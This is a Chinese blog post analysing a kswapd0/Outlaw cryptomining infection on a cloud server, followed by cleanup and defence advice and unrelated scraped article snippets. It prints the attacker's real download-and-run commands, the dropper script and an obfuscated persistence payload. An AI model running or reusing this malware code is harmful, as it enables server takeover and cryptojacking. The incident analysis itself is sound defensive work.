kswapd0挖矿病毒攻击记录
文章目录
- 一、起因与病毒分析
- 1、起因
- 2、阿里云告警
- 2.1 恶意脚本代码执行1
- 2.2 恶意脚本代码执行2
- 2.3恶意脚本代码执行3
- 2.4 恶意脚本代码执行4
- 3、病毒简单分析
- 3.1 病毒的初始化
- 3.2 病毒本体执行
- 4、总结
- 二、ubuntu自救指南
- 1、病毒清理
- 2、如何防御
一、起因与病毒分析
1、起因
最近内网穿透服务以及自建的博客一直掉线,重启服务也不行,用 top 查看发现1个kswapd0进程占用了一整个核(机器是2C4G),遂查刚开始以为是使用swap分区与内存换页操作交换数据造成的,但是清理了缓存仍无果,最终发现被挖矿木马攻击了。
2、阿里云告警
登陆阿里云控制台,也告警了阿里云异地登陆了,云安全中心显示凭证窃取,把我root密码爆破了

2.1 恶意脚本代码执行1
sh -c ./tddwrt7s.sh "http://167.172.213.233/dota3.tar.gz" "http://5.161.227.142/dota3.tar.gz" "http://216.70.68.24/dota3.tar.gz" "http://104.131.132.54/dota3.tar.gz" "http://172.104.46.33/dota3.tar.gz" "http://37.139.10.109/dota3.tar.gz" "http://46.101.132.59/dota3.tar.gz" >.out 2>&1 3>&1

2.2 恶意脚本代码执行2
sh -c wget -q http://161.35.236.24/tddwrt7s.sh || curl -s -O -f http://161.35.236.24/tddwrt7s.sh 2>&1 3>&1

2.3恶意脚本代码执行3

2.4 恶意脚本代码执行4
/root/.configrc5/a/kswapd0

3、病毒简单分析
3.1 病毒的初始化
tddwrt7s.sh脚本内容,脚本主要是下载dota3的病毒文件,并运行初始化
#!/bin/bash
if [ -d "/tmp/.X2y1-unix/.rsync/c" ]; thencat /tmp/.X2y1-unix/.rsync/initall | bash 2>1&exit 0
elsecd /tmprm -rf .sshrm -rf .mountfsrm -rf .X2*rm -rf .X3*rm -rf .X25-unixmkdir .X2y1-unixcd .X2y1-unixRANGE=6s=$RANDOMlet "s %= $RANGE"
if [ $s == 0 ]; thensleep $[ ( $RANDOM % 500 ) + 15 ]scurl -O -f $1 || wget -w 3 -T 10 -t 2 -q --no-check-certificate $1fi
if [ $s == 1 ]; thensleep $[ ( $RANDOM % 500 ) + 5 ]scurl -O -f $2 || wget -w 3 -T 10 -t 2 -q --no-check-certificate $2fi
if [ $s == 2 ]; thensleep $[ ( $RANDOM % 500 ) + 25 ]scurl -O -f $3 || wget -w 3 -T 10 -t 2 -q --no-check-certificate $3fi
if [ $s == 3 ]; thensleep $[ ( $RANDOM % 500 ) + 10 ]scurl -O -f $4 || wget -w 3 -T 10 -t 2 -q --no-check-certificate $4fi
if [ $s == 4 ]; thensleep $[ ( $RANDOM % 500 ) + 30 ]scurl -O -f $5 || wget -w 3 -T 10 -t 2 -q --no-check-certificate $5fi
if [ $s == 5 ]; thensleep $[ ( $RANDOM % 500 ) + 15 ]scurl -O -f $6 || wget -w 3 -T 10 -t 2 -q --no-check-certificate $6fi
if [ $s == 6 ]; thensleep $[ ( $RANDOM % 500 ) + 55 ]scurl -O -f $7 || wget -w 3 -T 10 -t 2 -q --no-check-certificate $7fisleep 60star xvf dota3.tar.gzsleep 10s
# rm -rf dota3.tar.gzcd .rsynccat /tmp/.X2y1-unix/.rsync/initall | bash 2>1&
fi
exit 0
可以发现首先是运行了/tmp/.X2y1-unix/.rsync/initall脚本,打开发现进行了shell混淆,最后eval命令会执行其后的参数作为Shell命令
z="
";qz=''\''{pr';Fz='& pw';fz=' tsm';Zz=' go>';CBz='{pri';Ez=' ~ &';XBz='p -v';Yz='l -9';Vz='tdd.';wBz='" ];';DCz='2 | ';Az='slee';qBz='p 10';SBz='-9 l';yBz='n';UBz='nux';dz='> .o';nz='-v g';iz='`ps ';Gz='d)';gz='kill';pz='awk ';jBz=' '\''{p';Dz='$(cd';kBz='rint';gBz='grep';oz='rep|';lz='un|g';cBz='t $1';kz='ep r';nBz='cat ';vz='ep g';VBz='ep x';hz=' -9 ';Cz='dir=';RBz='mrig';bBz='prin';GBz='sm|g';HBz='chat';Bz='p 1';Lz='E';CCz='else';xz='ep -';OBz='kr -';lBz=' $1}';Xz='pkil';ABz='ep|a';ZBz='p|aw';tz='`> .';hBz=' -v ';KBz='~/.c';jz='x|gr';pBz=' | s';eBz='ep l';FBz='ep t';fBz='nux|';vBz='grc5';Uz='.x*';Sz='nu.*';LBz='onfi';mBz=''\''`';oBz='init';Tz='.F*';uz='out';ez='ut';aBz='k '\''{';wz='o|gr';Rz='h';yz='v gr';IBz='tr -';cz=' run';WBz='|gre';Wz='sh';rBz='if [';Nz='dev/';ACz='exit';iBz='|awk';Oz='shm/';Jz='tmp/';BCz=' 0';TBz='d-li';Hz='rm -';bz='t';Mz='E*';tBz='"$di';JBz='iaR ';dBz='}'\''`';PBz='all ';BBz='wk '\''';mz='rep ';NBz='lock';ECz='fi';Qz='nu.s';DBz='nt $';az=' .ou';rz='int ';uBz='r/.c';sz='$1}'\''';Iz='rf /';EBz='1}'\''`';xBz=' the';QBz='-9 x';YBz=' gre';MBz='grc*';Kz='.FIL';sBz=' -d ';Pz='var/';
eval "$Az$Bz$z$Cz$Dz$Ez$Fz$Gz$z$Hz$Iz$Jz$Kz$Lz$z$Hz$Iz$Jz$Kz$Mz$z$Hz$Iz$Nz$Oz$Kz$Mz$z$Hz$Iz$Nz$Oz$Kz$Lz$z$Hz$Iz$Pz$Jz$Kz$Lz$z$Hz$Iz$Pz$Jz$Kz$Mz$z$Hz$Iz$Jz$Qz$Rz$z$Hz$Iz$Jz$Sz$z$Az$Bz$z$Hz$Iz$Nz$Oz$Qz$Rz$z$Hz$Iz$Nz$Oz$Sz$z$Hz$Iz$Jz$Tz$z$Hz$Iz$Jz$Uz$z$Hz$Iz$Jz$Vz$Wz$z$Xz$Yz$Zz$az$bz$z$Xz$Yz$cz$dz$ez$z$Xz$Yz$fz$dz$ez$z$gz$hz$iz$jz$kz$lz$mz$nz$oz$pz$qz$rz$sz$tz$uz$z$gz$hz$iz$jz$vz$wz$xz$yz$ABz$BBz$CBz$DBz$EBz$dz$ez$z$gz$hz$iz$jz$FBz$GBz$mz$nz$oz$pz$qz$rz$sz$tz$uz$z$HBz$IBz$JBz$KBz$LBz$MBz$z$NBz$OBz$JBz$KBz$LBz$MBz$z$gz$PBz$QBz$RBz$z$gz$PBz$SBz$TBz$UBz$z$Az$Bz$z$gz$hz$iz$jz$VBz$RBz$WBz$XBz$YBz$ZBz$aBz$bBz$cBz$dBz$z$gz$hz$iz$jz$eBz$TBz$fBz$gBz$hBz$gBz$iBz$jBz$kBz$lBz$mBz$z$nBz$oBz$pBz$Rz$z$Az$qBz$z$rBz$sBz$tBz$uBz$LBz$vBz$wBz$xBz$yBz$z$ACz$BCz$z$CCz$z$nBz$oBz$DCz$Wz$z$ECz$z$ACz$BCz"
我们首先进行解密,利用bash的调试模式即可bash -x xxx.sh,注意这是追踪模式,命令还是会运行,这里主要就是病毒的初始化运行,将一些服务暂停,缓存文件进行删除。后面就是几个脚本的定时执行,加入公钥,修改定时任务,开始挖矿
3.2 病毒本体执行
首先看了一下.ssh,把我的.ssh删除了,加入了它的公钥。然后看一下定时任务,哦吼,定时任务被修改了
crontab -l 5 6 * * 0 /root/.configrc5/a/upd>/dev/null 2>&1
@reboot /root/.configrc5/a/upd>/dev/null 2>&1
5 8 * * 0 /root/.configrc5/b/sync>/dev/null 2>&1
@reboot /root/.configrc5/b/sync>/dev/null 2>&1
0 0 */3 * * /tmp/.X2y1-unix/.rsync/c/aptitude>/dev/null 2>&1
从定时任务可以看出,主要是两个文件目录,一个是/root/.configrc5,还有一个是/tmp/.X2y1-unix(都是隐藏目录,很狡猾),注意还有一个/tmp/up.txt文件,这就是被爆破的root账号密码
# /root/.configrc5目录结构,病毒所在目录
├── a
│ ├── a
│ ├── bash.pid
│ ├── cert_key.pem
│ ├── cert.pem
│ ├── dir.dir
│ ├── init0
│ ├── kswapd0
│ ├── run
│ ├── stop
│ └── upd
├── b
│ ├── a
│ ├── dir.dir
│ ├── run
│ ├── stop
│ └── sync
├── cron.d
└── dir2.dir# /tmp/.X2y1-unix/.rsync目录结构
├── 1
├── a
│ ├── a
│ ├── init0
│ ├── kswapd0
│ ├── run
│ └── stop
├── b
│ ├── a
│ ├── run
│ └── stop
├── c
│ ├── aptitude
│ ├── blitz
│ ├── blitz32
│ ├── blitz64
│ ├── dir.dir
│ ├── go
│ ├── n
│ ├── run
│ ├── start
│ ├── stop
│ └── v
├── dir.dir
├── init
├── init0
├── init2
└── initall/root/.configrc/* #病毒所在目录
/root/.ssh/ #病毒公钥
/tmp/.X2y1-unix/.rsync/* #病毒运行缓存文件
/tmp/.X2y1-unix/dota3.tar.gz #病毒压缩包
/root/.configrc5/a/kswapd0 #病毒主程序
然后就是a.kswapd0和c.blitiz64 两个执行程序,执行程序加入了混淆加密。b.run 是一段perl脚本,可以base64解密。具体的文件代码可以参考,有兴趣的可以研究一下。下载地址

4、总结
Outlaw病毒通过SSH攻击,访问目标系统并下载带有shell脚本、挖矿木马、后门木马的TAR压缩包文件dota3.tar.gz。解压后的文件目录可以看到,根目录rsync下存放初始化脚本,a目录下存放shellbot后门,b目录下存放挖矿木马,c目录下存放SSH攻击程序。
# 常用的日志分析技巧
# 定位有多少IP在爆破主机的root帐号:
grep "Failed password for root" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr | more
# 定位有哪些IP在爆破:
grep "Failed password" /var/log/auth.log|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c
# 爆破用户名字典是什么?
grep "Failed password" /var/log/auth.log|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr# 登录成功的IP有哪些:
grep "Accepted " /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr | more
# 登录成功的日期、用户名、IP:
grep "Accepted " /var/log/auth.log | awk '{print $1,$2,$3,$9,$11}'
二、ubuntu自救指南
1、病毒清理
1、top + kill -9 首先停止可疑进程
2、清理定时任务crontab -e
3、删除相关后门ssh key内容,vim /root/.ssh/authorized_keys
4、删除/tmp目录下缓存文件(不同病毒可能不一样),rm -rf .X2y1-unix/
5、删除病毒目录和文件,rm -rf /root/.configrc5
6、(其他暂时没发现后门,不过我发现病毒给的停止删除命令挺好使的)
2、如何防御
1、修改我们的账号密码,加强复杂度,不要使用口令
2、公有云添加白名单策略,业务端口只允许公司出口IP访问
https://blog.csdn.net/subfate/article/details/106546646
https://www.cnblogs.com/autopwn/p/17355657.html
相关文章:
kswapd0挖矿病毒攻击记录
文章目录 一、起因与病毒分析1、起因2、阿里云告警2.1 恶意脚本代码执行12.2 恶意脚本代码执行22.3恶意脚本代码执行32.4 恶意脚本代码执行4 3、病毒简单分析3.1 病毒的初始化3.2 病毒本体执行 4、总结 二、ubuntu自救指南1、病毒清理2、如何防御 一、起因与病毒分析 1、起因 …...
如何使用 takeUntil RxJS 操作符来声明性地管理订阅
简介 Angular 处理取消订阅可观察对象的操作,比如从 HTTP 服务返回的可观察对象或者使用 async 管道时。然而,对于其他情况,管理所有订阅并确保取消长期存在的订阅可能会变得困难。而且,取消大部分订阅的策略也会带来自己的问题。…...
在Centos中用Docker部署oracle-12c
一、介绍 Oracle 12c是Oracle 11g的后续版本。12c代表云计算(Cloud Computing),这是Oracle在该版本中强调的一个关键概念。它具有多租户架构、数据库内存、安全增强、大数据管理和自动化管理等功能。它被广泛应用于企业级应用程序和大型数据…...
JS进阶——高级技巧
版权声明 本文章来源于B站上的某马课程,由本人整理,仅供学习交流使用。如涉及侵权问题,请立即与本人联系,本人将积极配合删除相关内容。感谢理解和支持,本人致力于维护原创作品的权益,共同营造一个尊重知识…...
TG-ADMIN 权限管理系统
项目简介 该项目是一款基于 SpringBoot + Vue2 + Jwt + ElementUi的 RBAC模型管理系统。 主要以自定义拦截器和jwt结合进行权限验证 通过自定义指令实现按钮级别权限,使用经典的RBAC模型 什么是RBAC? 1、RBAC模型概述 RBAC模型(Role-Based Access Control:基于角色的…...
十五届蓝桥杯第三期模拟赛题单(C++、java、Python)
备战2024年蓝桥杯 省赛第三期模拟赛题单 备战Python大学A组 第一题 【问题描述】 请问 2023 有多少个约数?即有多少个正整数,使得 2023 是这个正整数的整数倍。 【问题描述】 这是一道结果填空的题,你只需要算出结果后提交即可。本题的结果…...
嵌入式驱动学习第一周——git的使用
前言 本文主要介绍git的使用,包括介绍git,gitee,以及使用gitee创建仓库并托管代码 嵌入式驱动学习专栏将详细记录博主学习驱动的详细过程,未来预计四个月将高强度更新本专栏,喜欢的可以关注本博主并订阅本专栏…...
界面控件DevExpress .NET MAUI v23.2新版亮点 - 拥有全新的彩色主题
DevExpress拥有.NET开发需要的所有平台控件,包含600多个UI控件、报表平台、DevExpress Dashboard eXpressApp 框架、适用于 Visual Studio的CodeRush等一系列辅助工具。屡获大奖的软件开发平台DevExpress 今年第一个重要版本v23.1正式发布,该版本拥有众多…...
大语言模型LLM Pro+中Pro+(Prompting)的意义
—— Pro ,即Prompting,构造提示 1.LLM Pro中Pro(Prompting)的意义 Prompting不仅是大语言模型交互和调用的一种高效手段,而且已成为推动模型泛化能力和应用灵活性的关键技术路径,它不仅极大地拓展了模型功…...
React 中,children 属性
在 React 中,children 属性是一个特殊的属性,它允许你将组件作为其他组件的子元素传递。这意味着你可以在组件内部嵌套任何类型的子组件或元素,并且在父组件中通过 props.children 访问它们。这为组件的复用和组合提供了极大的灵活性。 以下…...
多行业万能预约门店小程序源码系统 支持多门店预约小程序 带完整的安装代码包以及搭建教程
随着消费者对于服务体验要求的不断提升,门店预约系统成为了许多行业提升服务质量、提高运营效率的重要工具。然而,市面上的预约系统往往功能单一,无法满足多行业、多场景的个性化需求。下面,小编集合了多年的行业经验和技术积累&a…...
Node.js 中 fs 模块文件操作的应用教程
Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境,它可以让 JavaScript 代码在服务器端运行。在 Node.js 中,fs 模块是用来处理文件系统操作的模块。通过 fs 模块,我们可以进行文件的读取、写入、删除等操作。本教程将介绍如何在 No…...
一些常用到的git命令
git stash -a //缓存所有文件 git checkout -b dev origin/dev //切换到dev分支上,接着跟远程的origin地址上的dev分支关联起来 //推送本地分支到远程仓库 git push origin localbranchname:remotebrancname git revert onefile //https://www.freecodecamp.org/news/git-re…...
spring boot3解决跨域的几种方式
⛰️个人主页: 蒾酒 🔥系列专栏:《spring boot实战》 🌊山高路远,行路漫漫,终有归途。 目录 1.前言 2.何为跨域 3.跨域问题出现特征 4.方式一:使用 CrossOrigin 注解 5.方式二:自定义…...
【Spring】19 @Autowired注解使用详解
文章目录 构造函数注入Setter方法注入字段注入数组和集合注入特殊情况处理特殊接口类型的注入异常处理结语 Spring 框架的 Autowired 注解是实现依赖注入的一种强大而灵活的方式。在本文中,我们将介绍 Autowired 注解的多种用法,包括构造函数、setter方法…...
Educational Codeforces Round 132 (Rated for Div. 2) E. XOR Tree(启发式合并+贪心)
题目 n(n<2e5)个点的树,点i权值ai(1<ai<2^30) 修改最少的点的权值,使得树上不存在异或和为0的简单路径,输出最少的点数 权值可以被修改成任意正整数(可以是无限大) 思路来源 官方…...
JavaScript 基本数据类型的详解
JavaScript的基本数据类型 以下都是JS内置的几种类型 数据类型描述number数字,不区分整数和小数string字符串类型booleantrue 真, false 假undefined表示未定义的值null只有唯一的值 null,表示空值 number 数字类型 JavaScript 中不区分整数和浮点数&…...
DDR5内存相比DDR4内存的优势和区别?选择哪一个服务器内存配置能避免丢包和延迟高?
根据幻兽帕鲁服务器的实际案例分析,选择合适的DDR4与DDR5内存大小以避免丢包和延迟高,需要考虑以下几个方面: 性能与延迟:DDR5内存相比DDR4在传输速率、带宽、工作电压等方面都有显著提升,但同时也伴随着更高的延迟。D…...
篮球游戏中的挑战精神与怄气心理:扣篮被帽后的再度冲击
在篮球比赛中,扣篮无疑是最具观赏性和震撼力的动作之一,它展示了球员的爆发力、技巧和自信。而在篮球游戏中,玩家即便面临连续扣篮被盖帽的挫折,仍渴望继续杀入内线尝试扣篮的现象,实则是体育竞技精神、挑战意识与怄气…...
JavaScript高级程序设计
前言 《JavaScript高级程序设计》 第1章——什么是JavaScript DOM将整个页面抽象为一组分层节点。 BOM用于支持访问和操作浏览器的窗口。 第2章——HTML中的JavaScript 2.1 < script >元素 元素描述async立即开始下载脚本,但不能阻止其他页面动作&#…...
观成科技:隐蔽隧道工具Ligolo-ng加密流量分析
1.工具介绍 Ligolo-ng是一款由go编写的高效隧道工具,该工具基于TUN接口实现其功能,利用反向TCP/TLS连接建立一条隐蔽的通信信道,支持使用Let’s Encrypt自动生成证书。Ligolo-ng的通信隐蔽性体现在其支持多种连接方式,适应复杂网…...
相机Camera日志实例分析之二:相机Camx【专业模式开启直方图拍照】单帧流程日志详解
【关注我,后续持续新增专题博文,谢谢!!!】 上一篇我们讲了: 这一篇我们开始讲: 目录 一、场景操作步骤 二、日志基础关键字分级如下 三、场景日志如下: 一、场景操作步骤 操作步…...
【Go】3、Go语言进阶与依赖管理
前言 本系列文章参考自稀土掘金上的 【字节内部课】公开课,做自我学习总结整理。 Go语言并发编程 Go语言原生支持并发编程,它的核心机制是 Goroutine 协程、Channel 通道,并基于CSP(Communicating Sequential Processes࿰…...
数据链路层的主要功能是什么
数据链路层(OSI模型第2层)的核心功能是在相邻网络节点(如交换机、主机)间提供可靠的数据帧传输服务,主要职责包括: 🔑 核心功能详解: 帧封装与解封装 封装: 将网络层下发…...
关于 WASM:1. WASM 基础原理
一、WASM 简介 1.1 WebAssembly 是什么? WebAssembly(WASM) 是一种能在现代浏览器中高效运行的二进制指令格式,它不是传统的编程语言,而是一种 低级字节码格式,可由高级语言(如 C、C、Rust&am…...
MySQL中【正则表达式】用法
MySQL 中正则表达式通过 REGEXP 或 RLIKE 操作符实现(两者等价),用于在 WHERE 子句中进行复杂的字符串模式匹配。以下是核心用法和示例: 一、基础语法 SELECT column_name FROM table_name WHERE column_name REGEXP pattern; …...
安卓基础(aar)
重新设置java21的环境,临时设置 $env:JAVA_HOME "D:\Android Studio\jbr" 查看当前环境变量 JAVA_HOME 的值 echo $env:JAVA_HOME 构建ARR文件 ./gradlew :private-lib:assembleRelease 目录是这样的: MyApp/ ├── app/ …...
Java毕业设计:WML信息查询与后端信息发布系统开发
JAVAWML信息查询与后端信息发布系统实现 一、系统概述 本系统基于Java和WML(无线标记语言)技术开发,实现了移动设备上的信息查询与后端信息发布功能。系统采用B/S架构,服务器端使用Java Servlet处理请求,数据库采用MySQL存储信息࿰…...
NPOI操作EXCEL文件 ——CAD C# 二次开发
缺点:dll.版本容易加载错误。CAD加载插件时,没有加载所有类库。插件运行过程中用到某个类库,会从CAD的安装目录找,找不到就报错了。 【方案2】让CAD在加载过程中把类库加载到内存 【方案3】是发现缺少了哪个库,就用插件程序加载进…...
HubSpot推出与ChatGPT的深度集成引发兴奋与担忧
上周三,HubSpot宣布已构建与ChatGPT的深度集成,这一消息在HubSpot用户和营销技术观察者中引发了极大的兴奋,但同时也存在一些关于数据安全的担忧。 许多网络声音声称,这对SaaS应用程序和人工智能而言是一场范式转变。 但向任何技…...
